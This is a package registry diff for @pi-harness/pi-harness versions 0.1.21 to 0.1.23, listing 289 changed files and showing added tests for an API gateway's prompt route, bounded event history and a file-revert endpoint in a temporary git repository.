@pi-harness/pi-harness 0.1.21 → 0.1.23

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (289) hide show
  1. package/README.md +1 -1
  2. package/apps/web/dist/assets/index-Bo9CNI_U.js +22 -0
  3. package/apps/web/dist/index.html +1 -1
  4. package/apps/web/package.json +6 -6
  5. package/apps/web/server-dist/bin.js +18 -5
  6. package/apps/web/server-dist/bin.js.map +1 -1
  7. package/apps/web/src/server/bin.ts +18 -5
  8. package/apps/web/test/bin.test.ts +90 -0
  9. package/node_modules/@pi-harness/api-gateway/dist/index.d.ts.map +1 -1
  10. package/node_modules/@pi-harness/api-gateway/dist/index.js +204 -66
  11. package/node_modules/@pi-harness/api-gateway/dist/index.js.map +1 -1
  12. package/node_modules/@pi-harness/api-gateway/dist/marketplace-entries/official/agent-teams.json +3 -12
  13. package/node_modules/@pi-harness/api-gateway/dist/marketplace-entries/official/anchored-standard.json +3 -10
  14. package/node_modules/@pi-harness/api-gateway/dist/marketplace-entries/official/annotation.json +3 -8
  15. package/node_modules/@pi-harness/api-gateway/dist/marketplace-entries/official/archify.json +3 -12
  16. package/node_modules/@pi-harness/api-gateway/dist/marketplace-entries/official/at-file.json +2 -6
  17. package/node_modules/@pi-harness/api-gateway/dist/marketplace-entries/official/auto-mode.json +3 -10
  18. package/node_modules/@pi-harness/api-gateway/dist/marketplace-entries/official/better-sidebar.json +3 -13
  19. package/node_modules/@pi-harness/api-gateway/dist/marketplace-entries/official/browser-fetch.json +2 -5
  20. package/node_modules/@pi-harness/api-gateway/dist/marketplace-entries/official/browser-session.json +2 -6
  21. package/node_modules/@pi-harness/api-gateway/dist/marketplace-entries/official/canvas-draw.json +3 -9
  22. package/node_modules/@pi-harness/api-gateway/dist/marketplace-entries/official/change-verifier.json +3 -11
  23. package/node_modules/@pi-harness/api-gateway/dist/marketplace-entries/official/cleaner.json +2 -6
  24. package/node_modules/@pi-harness/api-gateway/dist/marketplace-entries/official/cli-notifier.json +3 -11
  25. package/node_modules/@pi-harness/api-gateway/dist/marketplace-entries/official/code2skill.json +3 -10
  26. package/node_modules/@pi-harness/api-gateway/dist/marketplace-entries/official/colleague-skill.json +3 -10
  27. package/node_modules/@pi-harness/api-gateway/dist/marketplace-entries/official/context-doctor.json +2 -8
  28. package/node_modules/@pi-harness/api-gateway/dist/marketplace-entries/official/context.json +2 -7
  29. package/node_modules/@pi-harness/api-gateway/dist/marketplace-entries/official/cost-meter.json +3 -12
  30. package/node_modules/@pi-harness/api-gateway/dist/marketplace-entries/official/dependency-checker.json +2 -6
  31. package/node_modules/@pi-harness/api-gateway/dist/marketplace-entries/official/docker-sandbox.json +2 -6
  32. package/node_modules/@pi-harness/api-gateway/dist/marketplace-entries/official/fail-logger.json +2 -7
  33. package/node_modules/@pi-harness/api-gateway/dist/marketplace-entries/official/genui.json +3 -11
  34. package/node_modules/@pi-harness/api-gateway/dist/marketplace-entries/official/git-time-capsule.json +2 -6
  35. package/node_modules/@pi-harness/api-gateway/dist/marketplace-entries/official/graph-memory.json +3 -12
  36. package/node_modules/@pi-harness/api-gateway/dist/marketplace-entries/official/history-compressor.json +3 -11
  37. package/node_modules/@pi-harness/api-gateway/dist/marketplace-entries/official/hol-guard.json +4 -11
  38. package/node_modules/@pi-harness/api-gateway/dist/marketplace-entries/official/i18n-pair.json +2 -6
  39. package/node_modules/@pi-harness/api-gateway/dist/marketplace-entries/official/image-compressor.json +3 -10
  40. package/node_modules/@pi-harness/api-gateway/dist/marketplace-entries/official/llm-verifier.json +3 -13
  41. package/node_modules/@pi-harness/api-gateway/dist/marketplace-entries/official/mcp-client.json +2 -6
  42. package/node_modules/@pi-harness/api-gateway/dist/marketplace-entries/official/mcp-panel.json +3 -10
  43. package/node_modules/@pi-harness/api-gateway/dist/marketplace-entries/official/memory.json +3 -9
  44. package/node_modules/@pi-harness/api-gateway/dist/marketplace-entries/official/mirage-bridge.json +3 -11
  45. package/node_modules/@pi-harness/api-gateway/dist/marketplace-entries/official/mock-server.json +3 -10
  46. package/node_modules/@pi-harness/api-gateway/dist/marketplace-entries/official/modlens.json +3 -9
  47. package/node_modules/@pi-harness/api-gateway/dist/marketplace-entries/official/module-search.json +3 -11
  48. package/node_modules/@pi-harness/api-gateway/dist/marketplace-entries/official/obsidian-sync.json +3 -10
  49. package/node_modules/@pi-harness/api-gateway/dist/marketplace-entries/official/openpets.json +2 -7
  50. package/node_modules/@pi-harness/api-gateway/dist/marketplace-entries/official/plan-execute.json +3 -10
  51. package/node_modules/@pi-harness/api-gateway/dist/marketplace-entries/official/plugin-check.json +3 -10
  52. package/node_modules/@pi-harness/api-gateway/dist/marketplace-entries/official/plugin-dev.json +3 -12
  53. package/node_modules/@pi-harness/api-gateway/dist/marketplace-entries/official/plugin-finder.json +3 -11
  54. package/node_modules/@pi-harness/api-gateway/dist/marketplace-entries/official/plugin-radar.json +3 -9
  55. package/node_modules/@pi-harness/api-gateway/dist/marketplace-entries/official/plugin-stars.json +2 -6
  56. package/node_modules/@pi-harness/api-gateway/dist/marketplace-entries/official/prompt-guard.json +3 -9
  57. package/node_modules/@pi-harness/api-gateway/dist/marketplace-entries/official/prompt-library.json +3 -11
  58. package/node_modules/@pi-harness/api-gateway/dist/marketplace-entries/official/readme-gen.json +2 -7
  59. package/node_modules/@pi-harness/api-gateway/dist/marketplace-entries/official/recall-unread.json +2 -7
  60. package/node_modules/@pi-harness/api-gateway/dist/marketplace-entries/official/reverse-skill.json +3 -11
  61. package/node_modules/@pi-harness/api-gateway/dist/marketplace-entries/official/reviewer-bot.json +3 -10
  62. package/node_modules/@pi-harness/api-gateway/dist/marketplace-entries/official/runtime-doctor.json +3 -13
  63. package/node_modules/@pi-harness/api-gateway/dist/marketplace-entries/official/secure-audit.json +3 -11
  64. package/node_modules/@pi-harness/api-gateway/dist/marketplace-entries/official/session-bookmarks.json +3 -11
  65. package/node_modules/@pi-harness/api-gateway/dist/marketplace-entries/official/session-bridge.json +2 -7
  66. package/node_modules/@pi-harness/api-gateway/dist/marketplace-entries/official/session-compare.json +3 -11
  67. package/node_modules/@pi-harness/api-gateway/dist/marketplace-entries/official/session-export.json +3 -11
  68. package/node_modules/@pi-harness/api-gateway/dist/marketplace-entries/official/session-insights.json +2 -7
  69. package/node_modules/@pi-harness/api-gateway/dist/marketplace-entries/official/session-search.json +3 -11
  70. package/node_modules/@pi-harness/api-gateway/dist/marketplace-entries/official/skill-catalog.json +3 -12
  71. package/node_modules/@pi-harness/api-gateway/dist/marketplace-entries/official/skill-guard.json +2 -6
  72. package/node_modules/@pi-harness/api-gateway/dist/marketplace-entries/official/sql-lens.json +2 -6
  73. package/node_modules/@pi-harness/api-gateway/dist/marketplace-entries/official/synapse.json +3 -9
  74. package/node_modules/@pi-harness/api-gateway/dist/marketplace-entries/official/tab-manager.json +3 -10
  75. package/node_modules/@pi-harness/api-gateway/dist/marketplace-entries/official/taskboard.json +3 -10
  76. package/node_modules/@pi-harness/api-gateway/dist/marketplace-entries/official/telemetry-blocker.json +3 -10
  77. package/node_modules/@pi-harness/api-gateway/dist/marketplace-entries/official/test-harness.json +2 -6
  78. package/node_modules/@pi-harness/api-gateway/dist/marketplace-entries/official/theme-studio.json +3 -11
  79. package/node_modules/@pi-harness/api-gateway/dist/marketplace-entries/official/token-guard.json +2 -7
  80. package/node_modules/@pi-harness/api-gateway/dist/marketplace-entries/official/turn-rewind.json +2 -7
  81. package/node_modules/@pi-harness/api-gateway/dist/marketplace-entries/official/undo-savepoint.json +3 -9
  82. package/node_modules/@pi-harness/api-gateway/dist/marketplace-entries/official/vision-toolkit.json +2 -6
  83. package/node_modules/@pi-harness/api-gateway/dist/marketplace-entries/official/web-research.json +3 -10
  84. package/node_modules/@pi-harness/api-gateway/dist/marketplace-entries/official/workspace-navigator.json +3 -13
  85. package/node_modules/@pi-harness/api-gateway/dist/marketplace-entries/official/workspace-search.json +3 -10
  86. package/node_modules/@pi-harness/api-gateway/dist/marketplace-entries/official/yaml-validator.json +2 -6
  87. package/node_modules/@pi-harness/api-gateway/package.json +1 -1
  88. package/node_modules/@pi-harness/cli/dist/node-stdio.d.ts.map +1 -1
  89. package/node_modules/@pi-harness/cli/dist/node-stdio.js +3 -1
  90. package/node_modules/@pi-harness/cli/dist/node-stdio.js.map +1 -1
  91. package/node_modules/@pi-harness/cli/dist/relaunch.d.ts.map +1 -1
  92. package/node_modules/@pi-harness/cli/dist/relaunch.js +6 -1
  93. package/node_modules/@pi-harness/cli/dist/relaunch.js.map +1 -1
  94. package/node_modules/@pi-harness/cli/package.json +1 -1
  95. package/node_modules/@pi-harness/host-webserver/dist/index.d.ts.map +1 -1
  96. package/node_modules/@pi-harness/host-webserver/dist/index.js +52 -3
  97. package/node_modules/@pi-harness/host-webserver/dist/index.js.map +1 -1
  98. package/node_modules/@pi-harness/host-webserver/package.json +1 -1
  99. package/node_modules/@pi-harness/web-app/dist/index.d.ts +3 -0
  100. package/node_modules/@pi-harness/web-app/dist/index.d.ts.map +1 -1
  101. package/node_modules/@pi-harness/web-app/dist/index.js +9 -5
  102. package/node_modules/@pi-harness/web-app/dist/index.js.map +1 -1
  103. package/node_modules/@pi-harness/web-app/package.json +1 -1
  104. package/package.json +7 -7
  105. package/packages/api-gateway/dist/index.d.ts.map +1 -1
  106. package/packages/api-gateway/dist/index.js +204 -66
  107. package/packages/api-gateway/dist/index.js.map +1 -1
  108. package/packages/api-gateway/dist/marketplace-entries/official/agent-teams.json +3 -12
  109. package/packages/api-gateway/dist/marketplace-entries/official/anchored-standard.json +3 -10
  110. package/packages/api-gateway/dist/marketplace-entries/official/annotation.json +3 -8
  111. package/packages/api-gateway/dist/marketplace-entries/official/archify.json +3 -12
  112. package/packages/api-gateway/dist/marketplace-entries/official/at-file.json +2 -6
  113. package/packages/api-gateway/dist/marketplace-entries/official/auto-mode.json +3 -10
  114. package/packages/api-gateway/dist/marketplace-entries/official/better-sidebar.json +3 -13
  115. package/packages/api-gateway/dist/marketplace-entries/official/browser-fetch.json +2 -5
  116. package/packages/api-gateway/dist/marketplace-entries/official/browser-session.json +2 -6
  117. package/packages/api-gateway/dist/marketplace-entries/official/canvas-draw.json +3 -9
  118. package/packages/api-gateway/dist/marketplace-entries/official/change-verifier.json +3 -11
  119. package/packages/api-gateway/dist/marketplace-entries/official/cleaner.json +2 -6
  120. package/packages/api-gateway/dist/marketplace-entries/official/cli-notifier.json +3 -11
  121. package/packages/api-gateway/dist/marketplace-entries/official/code2skill.json +3 -10
  122. package/packages/api-gateway/dist/marketplace-entries/official/colleague-skill.json +3 -10
  123. package/packages/api-gateway/dist/marketplace-entries/official/context-doctor.json +2 -8
  124. package/packages/api-gateway/dist/marketplace-entries/official/context.json +2 -7
  125. package/packages/api-gateway/dist/marketplace-entries/official/cost-meter.json +3 -12
  126. package/packages/api-gateway/dist/marketplace-entries/official/dependency-checker.json +2 -6
  127. package/packages/api-gateway/dist/marketplace-entries/official/docker-sandbox.json +2 -6
  128. package/packages/api-gateway/dist/marketplace-entries/official/fail-logger.json +2 -7
  129. package/packages/api-gateway/dist/marketplace-entries/official/genui.json +3 -11
  130. package/packages/api-gateway/dist/marketplace-entries/official/git-time-capsule.json +2 -6
  131. package/packages/api-gateway/dist/marketplace-entries/official/graph-memory.json +3 -12
  132. package/packages/api-gateway/dist/marketplace-entries/official/history-compressor.json +3 -11
  133. package/packages/api-gateway/dist/marketplace-entries/official/hol-guard.json +4 -11
  134. package/packages/api-gateway/dist/marketplace-entries/official/i18n-pair.json +2 -6
  135. package/packages/api-gateway/dist/marketplace-entries/official/image-compressor.json +3 -10
  136. package/packages/api-gateway/dist/marketplace-entries/official/llm-verifier.json +3 -13
  137. package/packages/api-gateway/dist/marketplace-entries/official/mcp-client.json +2 -6
  138. package/packages/api-gateway/dist/marketplace-entries/official/mcp-panel.json +3 -10
  139. package/packages/api-gateway/dist/marketplace-entries/official/memory.json +3 -9
  140. package/packages/api-gateway/dist/marketplace-entries/official/mirage-bridge.json +3 -11
  141. package/packages/api-gateway/dist/marketplace-entries/official/mock-server.json +3 -10
  142. package/packages/api-gateway/dist/marketplace-entries/official/modlens.json +3 -9
  143. package/packages/api-gateway/dist/marketplace-entries/official/module-search.json +3 -11
  144. package/packages/api-gateway/dist/marketplace-entries/official/obsidian-sync.json +3 -10
  145. package/packages/api-gateway/dist/marketplace-entries/official/openpets.json +2 -7
  146. package/packages/api-gateway/dist/marketplace-entries/official/plan-execute.json +3 -10
  147. package/packages/api-gateway/dist/marketplace-entries/official/plugin-check.json +3 -10
  148. package/packages/api-gateway/dist/marketplace-entries/official/plugin-dev.json +3 -12
  149. package/packages/api-gateway/dist/marketplace-entries/official/plugin-finder.json +3 -11
  150. package/packages/api-gateway/dist/marketplace-entries/official/plugin-radar.json +3 -9
  151. package/packages/api-gateway/dist/marketplace-entries/official/plugin-stars.json +2 -6
  152. package/packages/api-gateway/dist/marketplace-entries/official/prompt-guard.json +3 -9
  153. package/packages/api-gateway/dist/marketplace-entries/official/prompt-library.json +3 -11
  154. package/packages/api-gateway/dist/marketplace-entries/official/readme-gen.json +2 -7
  155. package/packages/api-gateway/dist/marketplace-entries/official/recall-unread.json +2 -7
  156. package/packages/api-gateway/dist/marketplace-entries/official/reverse-skill.json +3 -11
  157. package/packages/api-gateway/dist/marketplace-entries/official/reviewer-bot.json +3 -10
  158. package/packages/api-gateway/dist/marketplace-entries/official/runtime-doctor.json +3 -13
  159. package/packages/api-gateway/dist/marketplace-entries/official/secure-audit.json +3 -11
  160. package/packages/api-gateway/dist/marketplace-entries/official/session-bookmarks.json +3 -11
  161. package/packages/api-gateway/dist/marketplace-entries/official/session-bridge.json +2 -7
  162. package/packages/api-gateway/dist/marketplace-entries/official/session-compare.json +3 -11
  163. package/packages/api-gateway/dist/marketplace-entries/official/session-export.json +3 -11
  164. package/packages/api-gateway/dist/marketplace-entries/official/session-insights.json +2 -7
  165. package/packages/api-gateway/dist/marketplace-entries/official/session-search.json +3 -11
  166. package/packages/api-gateway/dist/marketplace-entries/official/skill-catalog.json +3 -12
  167. package/packages/api-gateway/dist/marketplace-entries/official/skill-guard.json +2 -6
  168. package/packages/api-gateway/dist/marketplace-entries/official/sql-lens.json +2 -6
  169. package/packages/api-gateway/dist/marketplace-entries/official/synapse.json +3 -9
  170. package/packages/api-gateway/dist/marketplace-entries/official/tab-manager.json +3 -10
  171. package/packages/api-gateway/dist/marketplace-entries/official/taskboard.json +3 -10
  172. package/packages/api-gateway/dist/marketplace-entries/official/telemetry-blocker.json +3 -10
  173. package/packages/api-gateway/dist/marketplace-entries/official/test-harness.json +2 -6
  174. package/packages/api-gateway/dist/marketplace-entries/official/theme-studio.json +3 -11
  175. package/packages/api-gateway/dist/marketplace-entries/official/token-guard.json +2 -7
  176. package/packages/api-gateway/dist/marketplace-entries/official/turn-rewind.json +2 -7
  177. package/packages/api-gateway/dist/marketplace-entries/official/undo-savepoint.json +3 -9
  178. package/packages/api-gateway/dist/marketplace-entries/official/vision-toolkit.json +2 -6
  179. package/packages/api-gateway/dist/marketplace-entries/official/web-research.json +3 -10
  180. package/packages/api-gateway/dist/marketplace-entries/official/workspace-navigator.json +3 -13
  181. package/packages/api-gateway/dist/marketplace-entries/official/workspace-search.json +3 -10
  182. package/packages/api-gateway/dist/marketplace-entries/official/yaml-validator.json +2 -6
  183. package/packages/api-gateway/package.json +1 -1
  184. package/packages/api-gateway/src/index.ts +227 -68
  185. package/packages/api-gateway/src/marketplace-entries/official/agent-teams.json +3 -12
  186. package/packages/api-gateway/src/marketplace-entries/official/anchored-standard.json +3 -10
  187. package/packages/api-gateway/src/marketplace-entries/official/annotation.json +3 -8
  188. package/packages/api-gateway/src/marketplace-entries/official/archify.json +3 -12
  189. package/packages/api-gateway/src/marketplace-entries/official/at-file.json +2 -6
  190. package/packages/api-gateway/src/marketplace-entries/official/auto-mode.json +3 -10
  191. package/packages/api-gateway/src/marketplace-entries/official/better-sidebar.json +3 -13
  192. package/packages/api-gateway/src/marketplace-entries/official/browser-fetch.json +2 -5
  193. package/packages/api-gateway/src/marketplace-entries/official/browser-session.json +2 -6
  194. package/packages/api-gateway/src/marketplace-entries/official/canvas-draw.json +3 -9
  195. package/packages/api-gateway/src/marketplace-entries/official/change-verifier.json +3 -11
  196. package/packages/api-gateway/src/marketplace-entries/official/cleaner.json +2 -6
  197. package/packages/api-gateway/src/marketplace-entries/official/cli-notifier.json +3 -11
  198. package/packages/api-gateway/src/marketplace-entries/official/code2skill.json +3 -10
  199. package/packages/api-gateway/src/marketplace-entries/official/colleague-skill.json +3 -10
  200. package/packages/api-gateway/src/marketplace-entries/official/context-doctor.json +2 -8
  201. package/packages/api-gateway/src/marketplace-entries/official/context.json +2 -7
  202. package/packages/api-gateway/src/marketplace-entries/official/cost-meter.json +3 -12
  203. package/packages/api-gateway/src/marketplace-entries/official/dependency-checker.json +2 -6
  204. package/packages/api-gateway/src/marketplace-entries/official/docker-sandbox.json +2 -6
  205. package/packages/api-gateway/src/marketplace-entries/official/fail-logger.json +2 -7
  206. package/packages/api-gateway/src/marketplace-entries/official/genui.json +3 -11
  207. package/packages/api-gateway/src/marketplace-entries/official/git-time-capsule.json +2 -6
  208. package/packages/api-gateway/src/marketplace-entries/official/graph-memory.json +3 -12
  209. package/packages/api-gateway/src/marketplace-entries/official/history-compressor.json +3 -11
  210. package/packages/api-gateway/src/marketplace-entries/official/hol-guard.json +4 -11
  211. package/packages/api-gateway/src/marketplace-entries/official/i18n-pair.json +2 -6
  212. package/packages/api-gateway/src/marketplace-entries/official/image-compressor.json +3 -10
  213. package/packages/api-gateway/src/marketplace-entries/official/llm-verifier.json +3 -13
  214. package/packages/api-gateway/src/marketplace-entries/official/mcp-client.json +2 -6
  215. package/packages/api-gateway/src/marketplace-entries/official/mcp-panel.json +3 -10
  216. package/packages/api-gateway/src/marketplace-entries/official/memory.json +3 -9
  217. package/packages/api-gateway/src/marketplace-entries/official/mirage-bridge.json +3 -11
  218. package/packages/api-gateway/src/marketplace-entries/official/mock-server.json +3 -10
  219. package/packages/api-gateway/src/marketplace-entries/official/modlens.json +3 -9
  220. package/packages/api-gateway/src/marketplace-entries/official/module-search.json +3 -11
  221. package/packages/api-gateway/src/marketplace-entries/official/obsidian-sync.json +3 -10
  222. package/packages/api-gateway/src/marketplace-entries/official/openpets.json +2 -7
  223. package/packages/api-gateway/src/marketplace-entries/official/plan-execute.json +3 -10
  224. package/packages/api-gateway/src/marketplace-entries/official/plugin-check.json +3 -10
  225. package/packages/api-gateway/src/marketplace-entries/official/plugin-dev.json +3 -12
  226. package/packages/api-gateway/src/marketplace-entries/official/plugin-finder.json +3 -11
  227. package/packages/api-gateway/src/marketplace-entries/official/plugin-radar.json +3 -9
  228. package/packages/api-gateway/src/marketplace-entries/official/plugin-stars.json +2 -6
  229. package/packages/api-gateway/src/marketplace-entries/official/prompt-guard.json +3 -9
  230. package/packages/api-gateway/src/marketplace-entries/official/prompt-library.json +3 -11
  231. package/packages/api-gateway/src/marketplace-entries/official/readme-gen.json +2 -7
  232. package/packages/api-gateway/src/marketplace-entries/official/recall-unread.json +2 -7
  233. package/packages/api-gateway/src/marketplace-entries/official/reverse-skill.json +3 -11
  234. package/packages/api-gateway/src/marketplace-entries/official/reviewer-bot.json +3 -10
  235. package/packages/api-gateway/src/marketplace-entries/official/runtime-doctor.json +3 -13
  236. package/packages/api-gateway/src/marketplace-entries/official/secure-audit.json +3 -11
  237. package/packages/api-gateway/src/marketplace-entries/official/session-bookmarks.json +3 -11
  238. package/packages/api-gateway/src/marketplace-entries/official/session-bridge.json +2 -7
  239. package/packages/api-gateway/src/marketplace-entries/official/session-compare.json +3 -11
  240. package/packages/api-gateway/src/marketplace-entries/official/session-export.json +3 -11
  241. package/packages/api-gateway/src/marketplace-entries/official/session-insights.json +2 -7
  242. package/packages/api-gateway/src/marketplace-entries/official/session-search.json +3 -11
  243. package/packages/api-gateway/src/marketplace-entries/official/skill-catalog.json +3 -12
  244. package/packages/api-gateway/src/marketplace-entries/official/skill-guard.json +2 -6
  245. package/packages/api-gateway/src/marketplace-entries/official/sql-lens.json +2 -6
  246. package/packages/api-gateway/src/marketplace-entries/official/synapse.json +3 -9
  247. package/packages/api-gateway/src/marketplace-entries/official/tab-manager.json +3 -10
  248. package/packages/api-gateway/src/marketplace-entries/official/taskboard.json +3 -10
  249. package/packages/api-gateway/src/marketplace-entries/official/telemetry-blocker.json +3 -10
  250. package/packages/api-gateway/src/marketplace-entries/official/test-harness.json +2 -6
  251. package/packages/api-gateway/src/marketplace-entries/official/theme-studio.json +3 -11
  252. package/packages/api-gateway/src/marketplace-entries/official/token-guard.json +2 -7
  253. package/packages/api-gateway/src/marketplace-entries/official/turn-rewind.json +2 -7
  254. package/packages/api-gateway/src/marketplace-entries/official/undo-savepoint.json +3 -9
  255. package/packages/api-gateway/src/marketplace-entries/official/vision-toolkit.json +2 -6
  256. package/packages/api-gateway/src/marketplace-entries/official/web-research.json +3 -10
  257. package/packages/api-gateway/src/marketplace-entries/official/workspace-navigator.json +3 -13
  258. package/packages/api-gateway/src/marketplace-entries/official/workspace-search.json +3 -10
  259. package/packages/api-gateway/src/marketplace-entries/official/yaml-validator.json +2 -6
  260. package/packages/api-gateway/test/index.test.ts +363 -1
  261. package/packages/api-gateway/test/marketplace-schema.test.ts +139 -0
  262. package/packages/api-gateway/test/release-contract.test.ts +77 -0
  263. package/packages/api-gateway/test/release-package.test.ts +1 -1
  264. package/packages/api-gateway/test/release-version.test.ts +6 -4
  265. package/packages/bundle-web-app/dist/index.d.ts +3 -0
  266. package/packages/bundle-web-app/dist/index.d.ts.map +1 -1
  267. package/packages/bundle-web-app/dist/index.js +9 -5
  268. package/packages/bundle-web-app/dist/index.js.map +1 -1
  269. package/packages/bundle-web-app/package.json +1 -1
  270. package/packages/bundle-web-app/src/index.ts +12 -5
  271. package/packages/bundle-web-app/test/index.test.ts +33 -2
  272. package/packages/cli/dist/node-stdio.d.ts.map +1 -1
  273. package/packages/cli/dist/node-stdio.js +3 -1
  274. package/packages/cli/dist/node-stdio.js.map +1 -1
  275. package/packages/cli/dist/relaunch.d.ts.map +1 -1
  276. package/packages/cli/dist/relaunch.js +6 -1
  277. package/packages/cli/dist/relaunch.js.map +1 -1
  278. package/packages/cli/package.json +1 -1
  279. package/packages/cli/src/node-stdio.ts +6 -3
  280. package/packages/cli/src/relaunch.ts +5 -1
  281. package/packages/cli/test/node-stdio.test.ts +43 -0
  282. package/packages/cli/test/relaunch.test.ts +35 -0
  283. package/packages/host-webserver/dist/index.d.ts.map +1 -1
  284. package/packages/host-webserver/dist/index.js +52 -3
  285. package/packages/host-webserver/dist/index.js.map +1 -1
  286. package/packages/host-webserver/package.json +1 -1
  287. package/packages/host-webserver/src/index.ts +57 -3
  288. package/packages/host-webserver/test/index.test.ts +129 -1
  289. package/apps/web/dist/assets/index-e92yZuUr.js +0 -22
@@ -1,4 +1,4 @@
1
- import { mkdir, mkdtemp, readFile, rm, writeFile } from "node:fs/promises";
1
+ import { chmod, mkdir, mkdtemp, readdir, readFile, rm, stat, writeFile } from "node:fs/promises";
2
2
  import { execFile as execFileCallback } from "node:child_process";
3
3
  import { createServer } from "node:http";
4
4
  import { promisify } from "node:util";
@@ -1753,6 +1753,8 @@ describe("API gateway plugin", () => {
1753
1753
  const context = new Context();
1754
1754
  contexts.push(context);
1755
1755
  await context.plugin(webServerPlugin, { host: "127.0.0.1", port: 0 });
1756
+ const directory = await mkdtemp(join(tmpdir(), "pi-harness-api-new-session-"));
1757
+ temporaryDirectories.push(directory);
1756
1758
  let sessionId = "old-session";
1757
1759
  let resetCount = 0;
1758
1760
  const session = {
@@ -1768,6 +1770,7 @@ describe("API gateway plugin", () => {
1768
1770
  resetCount += 1;
1769
1771
  },
1770
1772
  getEntries: () => [],
1773
+ getSessionDir: () => directory,
1771
1774
  },
1772
1775
  agent: { state: { messages: [{ role: "user", content: "old" }] } },
1773
1776
  subscribe: () => () => {},
@@ -2419,4 +2422,363 @@ describe("API gateway plugin", () => {
2419
2422
  });
2420
2423
  expect(response.status).toBe(400);
2421
2424
  });
2425
+
2426
+ test("rejects non-POST requests to the prompt route", async () => {
2427
+ const context = new Context();
2428
+ contexts.push(context);
2429
+ await context.plugin(webServerPlugin, { host: "127.0.0.1", port: 0 });
2430
+ const session = { sessionId: "method-session", sessionFile: undefined, messages: [], isStreaming: false, subscribe: () => () => {} };
2431
+ context.provide("piRuntime", { session, prompt: () => Promise.resolve() } as never);
2432
+ context.provide("piModels", { model: { provider: "test", id: "model" } } as never);
2433
+ context.provide("piHarnessLaunch", { cwd: "/tmp", agentDir: "/tmp/agent", args: [], requestExit() {} });
2434
+ await context.plugin(apiPlugin);
2435
+
2436
+ const response = await fetch(context.webServer.url + "/api/prompt");
2437
+ expect(response.status).toBe(405);
2438
+ await expect(response.json()).resolves.toEqual({ error: "Method not allowed" });
2439
+ });
2440
+
2441
+ test("keeps the retained trajectory bounded and free of streaming deltas", async () => {
2442
+ const context = new Context();
2443
+ contexts.push(context);
2444
+ await context.plugin(webServerPlugin, { host: "127.0.0.1", port: 0 });
2445
+ type Listener = (event: { type: string; [key: string]: unknown }) => void;
2446
+ const listeners = new Set<Listener>();
2447
+ const session = {
2448
+ sessionId: "bounded-session",
2449
+ sessionFile: undefined,
2450
+ messages: [],
2451
+ isStreaming: false,
2452
+ subscribe(listener: Listener) {
2453
+ listeners.add(listener);
2454
+ return () => listeners.delete(listener);
2455
+ },
2456
+ };
2457
+ context.provide("piRuntime", { session, prompt: () => Promise.resolve() } as never);
2458
+ context.provide("piModels", { model: { provider: "test", id: "model" } } as never);
2459
+ context.provide("piHarnessLaunch", { cwd: "/tmp", agentDir: "/tmp/agent", args: [], requestExit() {} });
2460
+ await context.plugin(apiPlugin);
2461
+
2462
+ const stream = await fetch(context.webServer.url + "/api/events");
2463
+ const reader = stream.body?.getReader();
2464
+ await reader?.read();
2465
+ for (let index = 0; index < 2500; index += 1) {
2466
+ listeners.forEach((listener) => listener({ type: "tool_execution_start", toolName: "read", toolCallId: `call-${index}`, args: {} }));
2467
+ }
2468
+ let delivered = "";
2469
+ for (let index = 0; index < 500; index += 1) {
2470
+ listeners.forEach((listener) =>
2471
+ listener({ type: "message_update", assistantMessageEvent: { type: "text_delta", delta: "x" }, message: { role: "assistant", content: [] } }),
2472
+ );
2473
+ }
2474
+ while (!delivered.includes('"type":"message_update"')) {
2475
+ const chunk = await reader?.read();
2476
+ delivered += new TextDecoder().decode(chunk?.value);
2477
+ }
2478
+ await reader?.cancel();
2479
+
2480
+ const response = await fetch(context.webServer.url + "/api/session");
2481
+ expect(response.status).toBe(200);
2482
+ const payload = (await response.json()) as { events: { type: string; toolCallId?: string }[] };
2483
+ expect(payload.events).toHaveLength(2000);
2484
+ expect(payload.events.some((event) => event.type === "message_update")).toBe(false);
2485
+ expect(payload.events[0]?.toolCallId).toBe("call-500");
2486
+ expect(payload.events.at(-1)?.toolCallId).toBe("call-2499");
2487
+ const status = await fetch(context.webServer.url + "/api/status");
2488
+ await expect(status.json()).resolves.toMatchObject({ events: 2000 });
2489
+ });
2490
+
2491
+ test("reverts tracked and untracked workspace files together and rejects unknown paths", async () => {
2492
+ const context = new Context();
2493
+ contexts.push(context);
2494
+ const directory = await mkdtemp(join(tmpdir(), "pi-harness-api-revert-mixed-"));
2495
+ temporaryDirectories.push(directory);
2496
+ await execFile("git", ["init", "-q"], { cwd: directory });
2497
+ await execFile("git", ["config", "user.email", "pi-harness@test.invalid"], { cwd: directory });
2498
+ await execFile("git", ["config", "user.name", "Pi Harness Test"], { cwd: directory });
2499
+ await writeFile(join(directory, "tracked.txt"), "before\n", "utf8");
2500
+ await writeFile(join(directory, "removed.txt"), "gone\n", "utf8");
2501
+ await execFile("git", ["add", "tracked.txt", "removed.txt"], { cwd: directory });
2502
+ await execFile("git", ["commit", "-qm", "initial"], { cwd: directory });
2503
+ await writeFile(join(directory, "tracked.txt"), "after\n", "utf8");
2504
+ await writeFile(join(directory, "scratch.txt"), "discard me\n", "utf8");
2505
+ await execFile("git", ["rm", "-q", "removed.txt"], { cwd: directory });
2506
+ await context.plugin(webServerPlugin, { host: "127.0.0.1", port: 0 });
2507
+ const session = { sessionId: "revert-session", sessionFile: undefined, messages: [], isStreaming: false, subscribe: () => () => {} };
2508
+ context.provide("piRuntime", { session, prompt: () => Promise.resolve(), abort: () => Promise.resolve(), dispose: () => Promise.resolve() } as never);
2509
+ context.provide("piModels", { model: { provider: "test", id: "model" }, runtime: { getModels: () => [], getModel: () => undefined } } as never);
2510
+ context.provide("piHarnessLaunch", { cwd: directory, agentDir: "/tmp/agent", args: [], requestExit() {} });
2511
+ await context.plugin(apiPlugin);
2512
+
2513
+ const unknown = await fetch(context.webServer.url + "/api/files/revert", {
2514
+ method: "POST",
2515
+ headers: { "content-type": "application/json" },
2516
+ body: JSON.stringify({ paths: ["does-not-exist.txt"], confirm: true }),
2517
+ });
2518
+ expect(unknown.status).toBe(409);
2519
+ const unknownBody = (await unknown.json()) as { error: string };
2520
+ expect(unknownBody.error).toContain("does-not-exist.txt");
2521
+ const response = await fetch(context.webServer.url + "/api/files/revert", {
2522
+ method: "POST",
2523
+ headers: { "content-type": "application/json" },
2524
+ body: JSON.stringify({ paths: ["tracked.txt", "scratch.txt", "removed.txt"], confirm: true }),
2525
+ });
2526
+ expect(response.status).toBe(200);
2527
+ await expect(response.json()).resolves.toMatchObject({ reverted: true });
2528
+ await expect(readFile(join(directory, "tracked.txt"), "utf8")).resolves.toBe("before\n");
2529
